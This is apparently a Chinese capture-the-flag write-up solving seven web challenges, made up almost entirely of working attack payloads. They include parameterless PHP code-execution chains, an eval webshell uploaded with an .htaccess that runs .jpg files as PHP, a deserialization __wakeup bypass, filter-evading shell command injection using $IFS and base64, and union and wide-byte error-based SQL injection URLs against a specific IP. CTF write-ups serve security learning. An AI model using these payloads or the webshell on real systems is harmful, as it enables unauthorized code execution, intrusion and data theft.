简单记录一下
1.web1
首先是一个git泄露,当时看是403就没注意了,没想到就是这样做的,上工具下载源码是无参数rce,直接给payload
exp=var_dump(readfile(next(array_reverse(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));
exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
GET /?exp=readfile(session_id(session_start())); HTTP/1.1
Host: 9bfa7a86-5375-4b7d-9350-202124291351.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:PHPSESSID=flag.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
2.web2
是一个上传,但是上传就被删了,所以试了一下条件竞争是可以的,那思路就有了,同时上传一个a.jpg和.htaccess
a.jpg内容<script language=”php”>@eval($_POST[‘a’]);</script>
.htaccess内容AddType application/x-httpd-php .jpg
然后访问1.jpg,POST传参a=var_dump(readfile(/flag));即可读到flag
3.web3
是一个简单的反序列化,绕过__wakeup方法,当成员属性数目大于实际数目时可绕过wakeup方法但是有版本要求,这个题是可以的,payload如下,还有些过滤内容,控制读的位置,读的最大字符,应该就可以
exp=O:10:"FileReader":4:{s:8:"Filename";s:8:"flag.php";s:5:"start";i:0;s:10:"max_length";i:3;}
exp=O:10:"FileReader":4:{s:8:"Filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:5:"start";i:0;s:10:"max_length";i:100;}
4.web4
是一个rce,过滤了很多字符,fuzz一下,构造payload如下,用linux已有字符配合一下base64就可以,收集一下payload。
127.0.0.1|cat$IFS$9`echo$IFS$9ZmxhZy5waHAK|base64$IFS$9-d`
127.0.0.1|echo$IFS$9`a=ag;b=fl;cat$IFS$9$b$a.php`
127.0.0.1;cat$IFS`ls`;
linux下一些已有字符
${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
5.web5
源码得到注入语句,name可控,题目说了万能密码而且是md5,所以不是注入数据
select * from user where username = '$name' //sql查询语句
name:0' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
pw:1 //payload
6.web6
sql宽字节注入,关键字过滤,双写绕过
http://183.129.189.60:10008/search.php?name=%df' and updatexml(1,concat(1,substr((selselectect group_concat(column_name) from information_schema.columns whwhereere table_name=char(102,49,52,103)),1,32)),1)-- -&pw=1 //查列名
http://183.129.189.60:10008/search.php?name=%df' and updatexml(1,concat(1,substr((selselectect concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1,32)),1)-- -&pw=1 //查数据
http://183.129.189.60:10008/search.php?name=%df' and updatexml(1,concat(1,substr((selselectect concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),32,32)),1)-- -&pw=1 //查数据
7.web7
phar://配合反序列化rce